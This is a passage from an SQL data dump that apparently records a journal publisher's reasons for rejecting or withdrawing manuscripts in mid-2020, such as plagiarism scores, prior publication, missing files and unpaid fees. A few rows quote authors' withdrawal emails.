Published','2020-07-10'),(693,4193,2,NULL,'Already Published','2020-07-10'),(694,5059,1,'694-plagrism.PNG','plagarised','2020-07-10'),(695,5060,1,'695-plagrism.PNG','plagarised 93%','2020-07-10'),(696,4993,1,'696-plagrism.PNG','plagarised','2020-07-10'),(697,4991,1,'697-plagrism.PNG','plagarised 70%','2020-07-10'),(698,5130,2,NULL,'Article was submitted and ACCEPTED by the journal previously. Author intended to submit the revised submission and mistakenly submitted it as a new manuscript','2020-07-10'),(699,5127,2,NULL,'Rejected, submitted in Indian Journal of Pharmaceutical Sciences','2020-07-10'),(700,5069,2,NULL,'withdrawn','2020-07-13'),(701,5165,2,NULL,'Article already submitted  in International Journal of Medical Research & Health Sciences','2020-07-13'),(702,5148,1,'702-plagrism.pdf','60.5 % plagiarism','2020-07-13'),(703,5146,2,NULL,'no file','2020-07-13'),(704,5176,2,NULL,'withdrawn','2020-07-14'),(705,5067,2,NULL,'NO manuscript. Author not responding to mails','2020-07-14'),(706,5183,2,NULL,'Article exists in Clinical ophthalmology and vision science with the title of tactile visual cross modal transfer after an extended period of congenital blindness','2020-07-14'),(707,5155,2,NULL,'not in article format','2020-07-15'),(708,5038,2,NULL,'author found another suitable journal to publish his articel','2020-07-15'),(709,5162,2,NULL,'unable to pay','2020-07-15'),(710,5125,2,NULL,'unable to pay','2020-07-15'),(711,5163,2,NULL,'Complete article not submitted','2020-07-15'),(712,4777,2,NULL,'author want to withdraw','2020-07-15'),(713,5204,2,NULL,'Journal of Molecular Cancer with the title of prevention and management of respiratory diseases including throat and lung cancers through exercise interventions','2020-07-15'),(714,5214,2,NULL,'Article exists in Food and Nutritional Disorders','2020-07-16'),(715,5206,1,'715-plagrism.pdf','Rejected, Plagiarized 73.9%','2020-07-16'),(716,5154,2,NULL,'Files are not attached to the Manuscript','2020-07-16'),(717,5154,2,NULL,'Withdrawn','2020-07-16'),(718,5196,2,NULL,'already published in another journal','2020-07-16'),(719,5216,1,'719-plagrism.pdf','Rejected Plagiarized 61.2%','2020-07-16'),(720,5216,1,'720-plagrism.pdf','Rejected Plagiarized 61.2%','2020-07-16'),(721,5217,2,NULL,'withdrawn','2020-07-17'),(722,5210,2,NULL,'Withdrawn','2020-07-17'),(723,5209,2,NULL,'Withdrawn','2020-07-17'),(724,5208,2,NULL,'Withdrawn','2020-07-17'),(725,5207,2,NULL,'Withdrawn','2020-07-17'),(726,5236,2,NULL,'rejected','2020-07-18'),(727,3576,2,NULL,'Withdrawn','2020-07-18'),(728,5131,2,'728-plagrism.pdf','Attachment was a book','2020-07-20'),(730,5080,2,'730-plagrism.png','flile not submitted correct format','2020-07-21'),(731,4518,2,NULL,'Upload full article, Author has given only  half article or so','2020-07-21'),(732,4023,2,NULL,'withdrawn','2020-07-21'),(734,5276,2,NULL,'Article exists in International Journal of Physical Medicine & Rehabilitation with the title of safe physiotherapy practice during covid 19 pandemic a compilation of guidelines and recommendation from different organisation\r\nArticle Title Already Exists Choose Another','2020-07-22'),(735,5146,2,NULL,'Not full manuscript','2020-07-22'),(736,4945,2,NULL,'Article exists in Journal of Alcoholism and Drug Dependence with the title of microspheres review as a carrier in novel drug delivery','2020-07-22'),(737,5286,2,NULL,'Article exists in Diversity and Equality in Health and Care with the title of the risk on musculoskeletal system and psychosocial functions among adolescents with problematic internet use in selected schools of udaipur rajasthan india','2020-07-22'),(738,4646,0,NULL,'It does not fall under the scope of the journal','2020-07-22'),(739,5105,2,NULL,'not responding','2020-07-23'),(740,4897,1,'740-plagrism.pdf','plagarised 66%','2020-07-23'),(741,5303,2,NULL,'Article exists in Journal of Physiotherapy & Physical Rehabilitation with the title of short term effectiveness of extra corporeal shock wave therapy for plantar fasciitis a systemic review and meta analysis\r\nThe Article title can consist of alphabetical characters onlyArticle Title Already Exists Choose Another','2020-07-23'),(742,3252,2,NULL,'withdrawn','2020-07-23'),(743,3778,2,NULL,'Already submmited same article before','2020-07-23'),(744,5304,2,NULL,'There is no attachment (manuscript)','2020-07-23'),(745,5326,2,NULL,'test','2020-07-23'),(746,5308,1,'746-plagrism.pdf','Rejected, 67.9% plagiarism','2020-07-24'),(747,5308,1,'747-plagrism.pdf','Rejected, 67.9% plagiarism','2020-07-24'),(748,5228,1,'748-plagrism.pdf','PLAGIARIZED','2020-07-24'),(749,5226,1,'749-plagrism.pdf','Rejected Plagiarized','2020-07-24'),(750,5316,2,NULL,'File not existed','2020-07-24'),(751,5277,2,NULL,'NO ATTACHMENTS LIKE MANUSCRIPT/FIGURES/TABLES ARE NOT UPLOADED','2020-07-24'),(752,5328,2,NULL,'Clinical Immunology and Infectious Diseases with the title of topic high levels of the psa prostate specific antigen in patients with benign prostatic hyperplasia and prostate cancer','2020-07-24'),(753,5328,0,NULL,'Already submitted to','2020-07-24'),(754,5324,1,'754-plagrism.pdf','70% plagiarism','2020-07-24'),(755,4577,2,NULL,'Withdrawn','2020-07-25'),(756,5263,2,NULL,'Change to Research','2020-07-25'),(757,4955,2,NULL,'Rejected','2020-07-25'),(758,4955,2,NULL,'Rejected','2020-07-25'),(759,5211,2,NULL,'Rejected','2020-07-25'),(760,4752,2,NULL,'Rejected','2020-07-25'),(761,5262,2,NULL,'Change to Short Communication','2020-07-25'),(762,4871,2,NULL,'Change to Short Communication','2020-07-25'),(763,4680,2,NULL,'Already published','2020-07-25'),(764,4643,2,NULL,'Change to Research','2020-07-25'),(765,5157,2,NULL,'NO FILE','2020-07-25'),(766,4956,2,NULL,'Already Published','2020-07-25'),(767,4696,2,NULL,'Already published','2020-07-25'),(768,4394,2,NULL,'Rejected','2020-07-25'),(769,4645,2,NULL,'Revised, Plagiarized 55.2% and Change to Review','2020-07-25'),(770,4751,2,NULL,'Already published','2020-07-25'),(771,4846,2,NULL,'Article exists in Journal of Biology and Medical Research with the title of towards the treatment and prevention of invasive non typhoidal salmonella infections','2020-07-25'),(772,4847,2,NULL,'Article exists in Journal of Pharmaceutical Microbiology with the title of searching for antimicrobials in the unlikeliest of places','2020-07-25'),(773,5302,2,NULL,'file not uploaded','2020-07-25'),(774,4848,2,NULL,'Article exists in Journal of Biology and Medical Research with the title of covid 19 viral host interactome analyzed by network based approach model to study pathogenesis of sars cov 2 infection','2020-07-25'),(775,5231,2,'775-plagrism.docx','Revised','2020-07-25'),(776,5116,2,'776-plagrism.docx','Already Published','2020-07-25'),(777,5322,2,NULL,'withdraw','2020-07-25'),(778,5301,2,NULL,'Rejected already published https://www.pacenewsonline.com/2020/05/17/the-covid-19-pandemic-an-american-health-divide/','2020-07-25'),(779,4992,2,NULL,'revised due to bibilography not required','2020-07-25'),(780,5363,2,NULL,'The manuscript had already been submitted to this Journal and is in the process of publishing','2020-07-25'),(781,3855,0,NULL,'already published.','2020-07-25'),(784,5278,2,NULL,'Dear Dr Damon Wilson,\r\n\r\nThank you for your kind mail.\r\nWe found some missing in our paper to submit to your journal. \r\nI would like to withdraw the manuscript this time.\r\n \r\nThank you for your kindness. \r\n\r\n\r\nKoushi Yamaguchi, M.D., Ph.D.\r\nImmunology and Microbiology,\r\nCenter of Maternal-Fetal, Neonatal and Reproductive Medicine,\r\nNational Center for Child Health and Development,\r\n2-10-1 Okura, Setagaya-ku,\r\nTokyo 157-8535, Japan\r\nTel: 03-3416-0181\r\nFax:03-3416-2222\r\ne-mail:yamaguchi-k@ncchd.go.jp','2020-07-27'),(785,4775,2,'785-plagrism.png','The title is already exists in other journal','2020-07-27'),(786,3986,2,NULL,'Withdrawn','2020-07-27'),(787,3336,2,NULL,'Withdrawn','2020-07-27'),(788,5360,2,NULL,'Submitted in Preqc','2020-07-27'),(789,4644,2,NULL,'Author has submitted only Abstract and Biography and not the article','2020-07-27'),(790,5152,2,NULL,'no file uploaded','2020-07-27'),(791,5151,2,NULL,'no file uploaded','2020-07-27'),(792,5134,2,NULL,'No file uploaded','2020-07-27'),(793,5383,2,NULL,'Article exists in Head and Neck Cancer Research with the title of from understanding the molecular mechanism of aberrant er premrna toward the therapeutic application in breast cancer','2020-07-27'),(794,5168,2,NULL,'Unable to download manuscript from ET system','2020-07-27'),(795,5369,2,NULL,'Already Published\r\nhttps://file.scirp.org/Html/4-2700023_3641.htm','2020-07-27'),(796,5370,2,NULL,'Already published \r\nhttps://file.scirp.org/Html/5-2701655_58773.htm','2020-07-27'),(797,5371,2,NULL,'Already Publshed\r\nhttps://www.scirp.org/pdf/FNS20110900005_52416770.pdf','2020-07-27'),(798,5372,2,NULL,'Already Published\r\nhttps://www.scirp.org/journal/paperinformation.aspx?paperid=91876','2020-07-27'),(799,5373,2,NULL,'Already Published\r\nhttps://www.scirp.org/journal/paperinformation.aspx?paperid=7236','2020-07-27'),(800,5400,2,NULL,'Article exists in Head and Neck Cancer Research with the title of from understanding the molecular mechanism of aberrant er premrna toward the therapeutic application in breast cancer','2020-07-27'),(801,5384,2,NULL,'Aready published paper in 2019','2020-07-27'),(802,5382,2,NULL,'Article exists in Journal of Fundamentals of Renewable Energy and Applications with the title of preliminary feasibility of the treatment of household brown water with food waste for biogas production','2020-07-27'),(803,5381,2,NULL,'Article exists in Journal of Fundamentals of Renewable Energy and Applications with the title of comparitive studies on biodiesels produced from various edible oils','2020-07-27'),(804,4463,0,NULL,'Author is no more interested to publish with our journal and has already published with some other journal','2020-07-28'),(805,3276,2,NULL,'withdrawn','2020-07-28'),(806,3260,2,NULL,'withdrawn','2020-07-28'),(807,5393,2,NULL,'Already uploaded','2020-07-28'),(808,5432,2,NULL,'Same Files was uploded in the Editorial Tracking System,','2020-07-28'),(809,5368,1,'809-plagrism.pdf','Rejected 93.1% plag','2020-07-28'),(810,5441,2,NULL,'Dummy submission.','2020-07-28'),(811,3778,2,NULL,'Duplicate submission','2020-07-28'),(812,5340,1,'812-plagrism.pdf','Rejected','2020-07-28'),(813,5058,2,NULL,'Withdrawn','2020-07-28'),(814,5057,2,NULL,'Withdrawn','2020-07-28'),(815,5145,2,NULL,'Manuscript file not uploaded','2020-07-28'),(816,5460,2,NULL,'Already Published\r\nhttps://www.ncbi.nlm.nih.gov/pmc/articles/PMC5249148/','2020-07-28'),(817,5461,2,NULL,'Already Published\r\nhttps://www.researchgate.net/publication/328495906_Factors_influencing_mental_health_improvements_in_school_teachers','2020-07-28'),(818,5463,2,'818-plagrism.JPG','published in another Journal','2020-07-28'),(819,5458,2,NULL,'Already Published \r\nhttps://journals.plos.org/plosone/article?id=10.1371/journal.pone.0178359','2020-07-28'),(820,5457,2,NULL,'Already Published\r\nhttps://journals.plos.org/plosone/article?id=10.1371/journal.pone.0185017','2020-07-28'),(821,5456,2,NULL,'Already Published\r\nhttps://pubmed.ncbi.nlm.nih.gov/28926632/','2020-07-28'),(822,5455,2,NULL,'Already Published\r\nhttps://journals.plos.org/plosone/article?id=10.1371/journal.pone.0171363','2020-07-28'),(823,5452,2,NULL,'Already Published\r\nhttps://journals.plos.org/plosone/article?id=10.1371/journal.pone.0191225','2020-07-28'),(824,5218,2,NULL,'Article withdrawn','2020-07-28'),(825,5482,1,'825-plagrism.docx','Already existed in other journal','2020-07-29'),(826,5355,2,NULL,'Manuscript is rejected for plagiarism','2020-07-29'),(827,5018,2,NULL,'no file in inventory','2020-07-29'),(828,5385,2,NULL,'Already approved in Journal of Fundamentals of Renewable Energy and Applications 239976 20-05-2020','2020-07-29'),(829,3747,2,NULL,'Already existed in Data base','2020-07-29'),(830,5531,2,NULL,'author has submitted it two times by mistake','2020-07-30'),(831,4052,0,NULL,'submitted 2 times','2020-07-30'),(832,4950,2,'832-plagrism.jpg','Already Published','2020-07-30'),(833,4942,2,'833-plagrism.jpg','Already published with same content in https://www.graphyonline.com/archives/archivedownload.php?pid=IJPTR-153','2020-07-30'),(834,4951,2,'834-plagrism.jpg','Already published same content in https://juniperpublishers.com/oroaj/pdf/OROAJ.MS.ID.555931.pdf','2020-07-30'),(835,4470,2,'835-plagrism.jpg','Already published in https://www.graphyonline.com/archives/archivedownload.php?pid=IJPTR-156','2020-07-30'),(836,4938,2,'836-plagrism.jpg','Already published same content http://www.fortunejournals.com/articles/integration-of-postural-alterations-in-the-assessment-and-neuromotor-rehabilitation-after-anterior-cruciate-ligament-surgery-a-nar.html','2020-07-30'),(837,5329,2,NULL,'Revise Manuscript for plagiarism and resubmit','2020-07-30'),(838,5491,2,NULL,'already published','2020-07-30'),(839,5416,2,'839-plagrism.pdf','https://www.scirp.org/html/19-2700533_24699.htm\r\nAlready Published','2020-07-31'),(840,5414,1,'840-plagrism.pdf','Already published','2020-07-31'),(841,5540,2,NULL,'Complete manuscript not submitted','2020-07-31'),(842,5415,1,'842-plagrism.pdf','Already published','2020-07-31'),(843,5413,1,'843-plagrism.pdf','Already published','2020-07-31'),(844,5412,2,'844-plagrism.pdf','Already published','2020-07-31'),(845,5411,2,'845-plagrism.pdf','Already published','2020-07-31'),(846,5473,2,NULL,'Article exists in Journal of Chemistry and Applied Chemical Engineering with the title of analysis of optical energy band gap of aluminium zinc sulphide ternary thin films grown by solution growth technique\r\nArticle Title Already Exists Choose Another','2020-07-31'),(847,5403,2,NULL,'Article exists in Journal of Chemical Engineering & Process Technology with the title of advanced processing approaches for producing magnesia stabilized zirconia tbcs of high quality performance for multifunctional applications deposited by aps technique on nibase alloys for blades and vanes of aircraft engine parts and machine tools\r\nThe Article title can consist of alphabetical characters onlyArticle Title Already Exists Choose Another','2020-07-31'),(848,5425,2,'848-plagrism.png','Already publsihed in https://www.scielo.br/pdf/acb/v34n10/1678-2674-acb-34-10-e201901003.pdf','2020-07-31'),(849,5141,2,NULL,'no attachment','2020-07-31'),(850,5133,2,NULL,'no attachment','2020-07-31'),(851,5132,2,NULL,'no attachment','2020-07-31'),(852,5508,2,NULL,'Already published in http://www.smj.eg.net/journals/pdf/134.pdf','2020-07-31'),(853,5218,2,NULL,'withdrawn','2020-07-31'),(854,5426,2,NULL,'Article exists in Journal of Nutrition Science Research','2020-07-31'),(855,5613,2,NULL,'already exists','2020-08-01'),(856,5613,2,NULL,'already existis in other journal','2020-08-01'),(857,5612,2,NULL,'very less word count, submitted only abstract. Mailed to author waiting for full length article','2020-08-01'),(858,5614,2,NULL,'very less word count, submitted only abstract. Mailed to author waiting for full length article','2020-08-01'),(859,5615,2,NULL,'very less word count, submitted only abstract. Mailed to author waiting for full length article','2020-08-01'),(860,5616,2,NULL,'very less word count, submitted only abstract. Mailed to author waiting for full length article','2020-08-01'),(861,5617,2,NULL,'very less word count, submitted only abstract. Mailed to author waiting for full length article','2020-08-01'),(862,5281,1,'862-plagrism.PNG','plagiarism','2020-08-02'),(863,5289,1,'863-plagrism.PNG','rejected','2020-08-02'),(864,5182,2,NULL,'payment','2020-08-02'),(865,5181,2,NULL,'payment','2020-08-02'),(866,5177,2,NULL,'payment','2020-08-02'),(867,5177,2,NULL,'payment issue','2020-08-02'),(868,5407,2,NULL,'payment issue','2020-08-02'),(869,5180,2,NULL,'payment issue','2020-08-02'),(870,5161,2,NULL,'free publish','2020-08-02'),(871,5434,2,NULL,'Already published in https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6547280/','2020-08-02'),(872,5073,2,NULL,'too large to accept as research article, Author is not responding to mail','2020-08-03'),(873,5462,2,NULL,'Already published ni https://scialert.net/fulltext/?doi=ajaps.2020.76.83','2020-08-03'),(874,5125,2,NULL,'unable to download file','2020-08-03'),(875,5162,2,NULL,'unable to download file','2020-08-03'),(876,5570,1,'876-plagrism.docx','Rejected','2020-08-03'),(877,5572,1,'877-plagrism.docx','Rejected','2020-08-03'),(878,5560,2,'878-plagrism.docx','Rejected','2020-08-03'),(879,5559,2,'879-plagrism.docx','Rejected','2020-08-03'),(880,5516,2,'880-plagrism.docx','published i some other journal','2020-08-03'),(881,5541,2,'881-plagrism.docx','published in some other journal','2020-08-03'),(882,5542,2,'882-plagrism.docx','published in other journal','2020-08-03'),(883,5506,2,'883-plagrism.docx','already published','2020-08-03'),(884,5119,2,NULL,'Wrong Submission','2020-08-03'),(885,5611,2,NULL,'Article exists in Research & Reviews: Journal of Medical and Health Sciences with the title of altered sarcoplasmic reticulum calcium cycling targets for heart failure therapy','2020-08-03'),(886,4125,2,NULL,'Alredy uploaded in another Journal','2020-08-03'),(887,5641,2,NULL,'Article exists in Computer Engineering & Information Technology','2020-08-03'),(888,3783,0,NULL,'Author has messaged via WhatsApp, and mentioned that she is no more interested to submit the revised manuscript as there is some issue of data clearance with the manuscript and it is not possible to make the changes or corrections at the moment, up-to some 6 months or so. So she concluded to withdraw the submisison.','2020-08-04'),(889,4489,1,'889-plagrism.pdf','Rejected 65.8% plag and change to Commentary','2020-08-04'),(890,5343,2,NULL,'Withdrawn','2020-08-04'),(891,5556,2,NULL,'Submit full paper','2020-08-04'),(892,5554,2,NULL,'Submit full paper','2020-08-04'),(893,5636,2,NULL,'Status of manuscript not yet updated in the PreQC Tracking System','2020-08-04'),(894,5552,2,NULL,'Article exists in Journal of Pediatric Care','2020-08-04'),(895,5448,0,NULL,'only given abstract. Didnot submit complete article','2020-08-04'),(896,5448,0,NULL,'only given abstract. Didnot submit complete article','2020-08-04'),(897,5447,0,NULL,'only given abstract. Didnot submit complete article','2020-08-04'),(898,5444,0,NULL,'only given abstract. Didnot submit complete article','2020-08-04'),(899,5446,0,NULL,'only given abstract. Didnot submit complete article','2020-08-04'),(900,5685,2,'900-plagrism.doc','Unable to pay','2020-08-04'),(901,5686,2,'901-plagrism.docx','Cannot pay','2020-08-04'),(902,4933,2,NULL,'Already published in History Research letter','2020-08-04'),(903,3810,2,NULL,'withdrawn','2020-08-04'),(904,4102,2,'904-plagrism.docx','REVISED STATE','2020-08-05'),(905,5279,2,NULL,'rejected','2020-08-05'),(906,5692,2,NULL,'no file','2020-08-05'),(907,5677,0,NULL,'Hello,\r\n\r\nI did not submit this manuscript to your system. It appears there has been a fraudulent submission.\r\n\r\nPlease retract this submission as it was not made by a member of the research team. \r\n\r\nThank you for your assistance.\r\n\r\nJustin Turcotte','2020-08-05'),(908,5654,2,NULL,'Incomplete submission by PC. Manuscript file is missing. Mail has been send to corresponding PC [iqbalahmed_m@omicsgroup.co.in] but yet not responded after 48 hours of submission.','2020-08-05'),(909,5392,2,NULL,'Article exists in Head and Neck Cancer Research','2020-08-06'),(910,5438,2,NULL,'Article exists in Clinical Immunology and Infectious Diseases','2020-08-06'),(911,4957,2,'911-plagrism.png','submitted in another journal','2020-08-06'),(912,5708,2,NULL,'Article exists in Journal of Preventive Medicine with the title of assessment of the level and factors associated with knowledge attitude and practice of blood donation among medical and paramedical personnels in alert hospital ethiopia','2020-08-06'),(913,5658,2,NULL,'Withdraw','2020-08-06'),(914,5338,2,NULL,'Already published at https://chesci.com/wp-content/uploads/2018/01/V6i24_54_CS132048103_Rekha_2397-2407.pdf','2020-08-06'),(915,5671,2,NULL,'Article exists in Irrigation & Drainage Systems Engineering','2020-08-06'),(916,5717,2,NULL,'Awaited','2020-08-07'),(917,5657,2,NULL,'Withdrawn','2020-08-08'),(918,4600,0,NULL,'Author is not responding..!!','2020-08-09'),(919,5323,2,'919-plagrism.docx','The Purpose of Temperature of Fever in Covid -19” and “Fever is not a symptom in covid-19. None of the diseases require fever as its symptom','2020-08-10'),(920,5739,2,'920-plagrism.docx','“Short-Term Outcome Of CABG With Aortic Valve Replacement-A Single Center Study”','2020-08-10'),(921,3199,2,'921-plagrism.docx','THE IMPACT OF FLEXIBLE WORKING HOURS AND PSYCHOLOGICAL EMPOWERMENT ON TEAM PERFORMANCE WITH THE MEDIATING ROLE OF WORK ENGAGEMENT','2020-08-10'),(922,5164,2,'922-plagrism.docx','COVID 19: IT’S IMPACT ON KIDNEY DISEASES, DIALYSIS AND RELATED DRUG THERAPY','2020-08-10'),(923,5748,2,'923-plagrism.PNG','already published','2020-08-10'),(924,5749,2,'924-plagrism.PNG','already published','2020-08-10'),(925,5750,2,'925-plagrism.PNG','already published','2020-08-10'),(926,5576,2,'926-plagrism.png','The title is already exists in other Journal','2020-08-11'),(927,5759,2,NULL,'Article exists in International Journal of Medical Research & Health Sciences with the title of services available in the transfusion medicine department of sir salimullah medical college and mitford hospital','2020-08-11'),(928,5388,1,'928-plagrism.pdf','Rejected 86.1% plagiarised','2020-08-12'),(929,4913,2,NULL,'Not in the Journal Scope','2020-08-12'),(930,4911,1,'930-plagrism.pdf','Rejected, Plagiarised 95.2%','2020-08-12'),(931,4912,2,NULL,'Rejected - Article is already published https://www.longdom.org/proceedings/the-study-on-immunogenicity-and-protective-efficacy-of-recombinant-bcg-against-tuberculosis-58920.html','2020-08-12'),(932,5345,2,NULL,'Already published in https://academic.oup.com/ofid/article/5/7/ofy157/5047451 and https://researchmgt.monash.edu/ws/portalfiles/portal/248151116/245916619_oa.pdf','2020-08-12'),(933,5153,2,NULL,'No file is submitted','2020-08-12'),(934,5274,1,'934-plagrism.pdf','Rejected 82.2% plagiarism','2020-08-12'),(935,5770,2,NULL,'withdrawn','2020-08-12'),(936,5771,2,NULL,'plagarized 90%','2020-08-12'),(937,5767,2,NULL,'already published in another journal','2020-08-12'),(938,5701,1,'938-plagrism.docx','Rejected 86.7% plag','2020-08-14'),(939,5774,2,NULL,'Out of scope','2020-08-14'),(940,5635,2,NULL,'The author is not responding and the file in not a word document.','2020-08-15'),(941,5634,2,NULL,'The author is not responding the file is in php format and we need files in doc format.','2020-08-15'),(942,5633,2,NULL,'The author is not responding the file is in php format and we need files in doc format.','2020-08-15'),(943,5801,2,NULL,'no  flie submited','2020-08-17'),(944,3591,2,NULL,'already published','2020-08-17'),(945,5809,2,NULL,'already published','2020-08-17'),(946,5821,2,NULL,'File not attached','2020-08-17'),(947,5824,2,NULL,'File not attached','2020-08-17'),(948,5823,2,NULL,'File not attached','2020-08-17'),(949,5822,2,NULL,'File not attached','2020-08-17'),(950,5819,2,NULL,'File attachment missing','2020-08-17'),(951,5752,2,NULL,'Article exists in Irrigation & Drainage Systems Engineering with the title of technical performance evaluation of small scale irrigation scheme at wondo genet ethiopia','2020-08-18'),(952,5721,2,NULL,'No files submitted and author is not responding','2020-08-18'),(953,5837,2,NULL,'Already published in http://www.chemicaljournals.com/download/19/1-1-27-879.pdf','2020-08-18'),(954,5830,2,'954-plagrism.pdf','Manuscript','2020-08-18'),(955,5825,1,'955-plagrism.pdf','plagiarized','2020-08-18'),(956,5854,2,NULL,'Article exists in Journal of Preventive Medicine with the title of assessment of the level and factors associated with knowledge attitude and practice of blood donation among medical and paramedical personnels in alert hospital ethiopia','2020-08-19'),(957,5855,2,NULL,'UPLOADED TWICE','2020-08-19'),(958,5860,2,NULL,'Article exists in International Journal of Medical Research & Health Sciences .','2020-08-19'),(959,5781,1,'959-plagrism.pdf','Already published','2020-08-19'),(960,5868,2,NULL,'Article attachment missing','2020-08-21'),(961,4735,2,NULL,'Withdrawn','2020-08-21'),(963,5320,2,NULL,'Published','2020-08-21'),(964,5280,2,NULL,'Published','2020-08-21'),(965,4415,2,NULL,'High price','2020-08-21'),(966,5879,2,NULL,'Article exists in Journal of Environmental & Analytical Toxicology with the title of emerging concept of vitreous renal function markers and electrolytes as discriminant of fresh water drowning death','2020-08-21'),(967,5892,2,NULL,'WITHDRAWN','2020-08-21'),(968,5894,2,NULL,'already  submitted with same tiltlie','2020-08-22'),(969,5892,2,NULL,'withd','2020-08-24'),(970,5883,2,NULL,'File attachment missing','2020-08-24'),(971,5782,2,NULL,'Already published in https://www.scirp.org/html/68178_68178.html','2020-08-24'),(972,4953,2,NULL,'irrelevant journal','2020-08-24'),(973,4954,2,NULL,'Irrelevant Journal','2020-08-24'),(974,4591,2,NULL,'Irrelevant Journal','2020-08-24'),(975,4376,2,NULL,'Irrelevant Journal','2020-08-24'),(976,5872,2,NULL,'already submitted','2020-08-25'),(977,5861,2,'977-plagrism.docx','The Author withdrawal the journal as the author is not in a condition to pay for the journal to be published.','2020-08-25'),(978,5863,2,'978-plagrism.docx','The Author cannot pay the desired amount.','2020-08-25'),(979,5880,2,'979-plagrism.docx','The Author cannot pay the Amount to be published','2020-08-25'),(980,5920,1,'980-plagrism.pdf','Rejected 60.7% Plagiarism','2020-08-25'),(981,5800,2,NULL,'Preqc revised. Author is not responding to mails. So article got rejected.','2020-08-25'),(982,5876,2,'982-plagrism.docx','Article exists in International Journal of Medical Research & Health Sciences','2020-08-25'),(983,5896,2,NULL,'Article exists in Journal of Environmental & Analytical Toxicology with the title of emerging concept of vitreous renal function markers and electrolytes as discriminant of fresh water drowning death','2020-08-26'),(984,5897,2,NULL,'no manuscript uploaded','2020-08-26'),(985,5905,2,NULL,'Too short for any article type','2020-08-26'),(986,5903,2,NULL,'Article is not in English Language','2020-08-26'),(987,5221,2,NULL,'Published in other Journal, Plagarised','2020-08-27'),(988,5960,2,NULL,'withdrawn','2020-08-27'),(989,5956,1,'989-plagrism.pdf','65.1% plagiarism','2020-08-27'),(990,5947,1,'990-plagrism.pdf','Rejected 72.7% plag','2020-08-28'),(991,5976,2,NULL,'https://www.auctoresonline.org/images/article/1595664503Galley_proof.pdf already exists in another journal','2020-08-28'),(992,5911,1,'992-plagrism.docx','PLAGIARISM','2020-08-28'),(993,4802,2,'993-plagrism.docx','Already approved in Journal of Intensive and Critical Care Nursing 243737','2020-08-29'),(994,5979,2,NULL,'Article exists in Journal of Medical Oncology and Therapeutics with the title of isolated spinal granulocytic sarcoma in adolescent patient case report','2020-08-29'),(995,5980,1,'995-plagrism.pdf','Rejected 77.0% plagiarism','2020-08-29'),(996,5966,2,NULL,'Article exists in Journal of Nutrition & Food Sciences with the title of whey protein supplement an exclusive food or need of hour review','2020-08-30'),(997,5967,2,NULL,'Revise 51.7% plag','2020-08-31'),(998,5874,2,NULL,'File not found','2020-09-02'),(999,5969,2,NULL,'not in journal format','2020-09-02'),(1000,5972,2,NULL,'Too large to accept as any article type','2020-09-04'),(1001,5953,2,NULL,'too short to accept as an article','2020-09-04'),(1002,5807,2,NULL,'fake manuscript','2020-09-04'),(1003,6044,1,'1003-plagrism.pdf','62% plagiarism','2020-09-07'),(1004,6027,2,NULL,'incomplete submission','2020-09-07'),(1005,5732,2,NULL,'file not uploaded','2020-09-07'),(1006,5882,2,NULL,'File not found','2020-09-07'),(1007,6047,2,'1007-plagrism.pdf','Already approved in Journal of Neurology and Neuroscience 251526 05-09-2020','2020-09-07'),(1008,6048,1,'1008-plagrism.pdf','Rejected 76.3% plagarism','2020-09-07'),(1009,6019,1,'1009-plagrism.docx','Already published in https://escientificlibrary.com/microbiology/Article/ESJM-V1-1007.pdf','2020-09-08'),(1010,5916,2,NULL,'document was missing','2020-09-08'),(1011,4097,2,NULL,'Already Published','2020-09-09'),(1012,6070,1,'1012-plagrism.pdf','75 plagiarism','2020-09-09'),(1013,6063,2,NULL,'Author has not submitted his manuscript in file inventory. He just submitted his details and abstract only.','2020-09-10'),(1014,6066,2,NULL,'Only abstract submitted','2020-09-10'),(1015,5733,2,NULL,'not suitable','2020-09-10'),(1016,6088,2,NULL,'He wants to submit other journal with special issue on covid','2020-09-11'),(1017,6094,2,NULL,'Article exists in Current Pediatrics with the title of spectrum of congenital heart disease in children with down syndrome in ile-ife, nigeria','2020-09-11'),(1018,6053,2,NULL,'Already published','2020-09-12'),(1019,6054,1,'1019-plagrism.pdf','Pre Qc Revised','2020-09-14'),(1020,6075,2,NULL,'already submitted','2020-09-14'),(1021,6103,2,NULL,'Author unable to pay','2020-09-15'),(1022,6109,2,NULL,'Manuscript is not submitted','2020-09-16'),(1023,6137,2,NULL,'Article already exists','2020-09-16'),(1024,6137,2,NULL,'Article already exists','2020-09-16'),(1025,6134,2,NULL,'Already exists','2020-09-18'),(1026,6185,2,NULL,'Article exists in Journal of Womens Health Care','2020-09-22'),(1027,5613,2,NULL,'fhgfh','2020-09-22'),(1028,5614,2,NULL,'submitted full length manuscript','2020-09-22'),(1029,6098,1,'1029-plagrism.pdf','60% plagiarized','2020-09-22'),(1030,6171,2,NULL,'Article already exists in Journal of Traditional Medicine & Clinical Naturopathy with the title of in vitro antifungal activity phytochemical screening and thin layer chromatography profiling of impatiens tinctoria a rich root extracts','2020-09-23'),(1031,6101,2,NULL,'no proper file','2020-09-25'),(1032,6073,2,NULL,'Author want to withdraw','2020-09-25'),(1033,6073,2,NULL,'Author wants to withdraw','2020-09-25'),(1034,6159,2,NULL,'the article is a;ready present in other Journal','2020-09-25'),(1035,6220,2,NULL,'Submitted Twice','2020-09-25'),(1036,6230,2,NULL,'File Missing','2020-09-28'),(1037,6230,0,NULL,'Dummy submission and No file found.','2020-09-28'),(1038,5573,2,NULL,'Article exists in Clinical Psychiatry with the title of sadism in sadistic and narcissistic personality disorders\r\nArticle Title Already Exists Choose Another','2020-09-28'),(1039,5581,2,NULL,'Article exists in Clinical Psychiatry with the title of the kindness givers formula\r\nThe Article title can consist of alphabetical characters onlyArticle Title Already Exists Choose Another','2020-09-28'),(1040,5584,2,NULL,'Article exists in Clinical Psychiatry with the title of psychotherapy with human trafficking survivors psychodramatic approach\r\nArticle Title Already Exists Choose Another','2020-09-28'),(1041,6186,2,NULL,'Article already exists in other Journal with the same title','2020-09-29'),(1042,5065,0,NULL,'author requested for withdrawal of article due to conflict of interest between them.','2020-09-29'),(1043,5738,1,'1043-plagrism.pdf','Author not responding to mails','2020-09-29'),(1044,6077,2,NULL,'Article exists in Journal of Research in Medical and Dental Science','2020-09-30'),(1045,6284,2,NULL,'Article exists in Journal of Womens Health Care with the title of male partners involvement and associated factors in prevention of mother to child transmission of hiv in east badawacho district hadiya zone southern ethiopia','2020-10-01'),(1046,6294,2,NULL,'Article exists in Journal of Bacteriology & Parasitology .','2020-10-03'),(1047,5881,2,NULL,'Already submitted to other journal','2020-10-05'),(1048,5885,2,NULL,'No files 